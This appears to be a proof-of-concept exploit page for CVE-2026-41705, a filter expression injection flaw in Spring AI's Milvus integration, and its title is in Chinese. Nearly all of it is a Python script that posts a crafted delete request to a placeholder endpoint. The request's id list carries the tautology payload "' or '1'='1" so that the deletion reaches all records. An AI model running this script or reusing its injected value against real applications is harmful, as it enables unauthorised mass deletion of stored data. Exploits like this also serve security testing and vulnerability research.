CVE-2026-41705 Spring AI Milvus过滤表达式注入漏洞

import requests import json # Target URL (Example) target_url = "http://vulnerable-app/api/delete" # Malicious payload simulating a filter expression injection. # Instead of a normal ID, we inject a logical expression. # Note: The exact syntax depends on the Milvus expression language implementation. malicious_ids = [ "normal_id_123", "' or '1'='1" # Attempting to inject a tautology to affect all records ] payload = { "ids": malicious_ids } headers = { "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, data=json.dumps(payload), headers=headers) # Check response status if response.status_code == 200: print("[+] Request sent successfully. Check database for impact.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")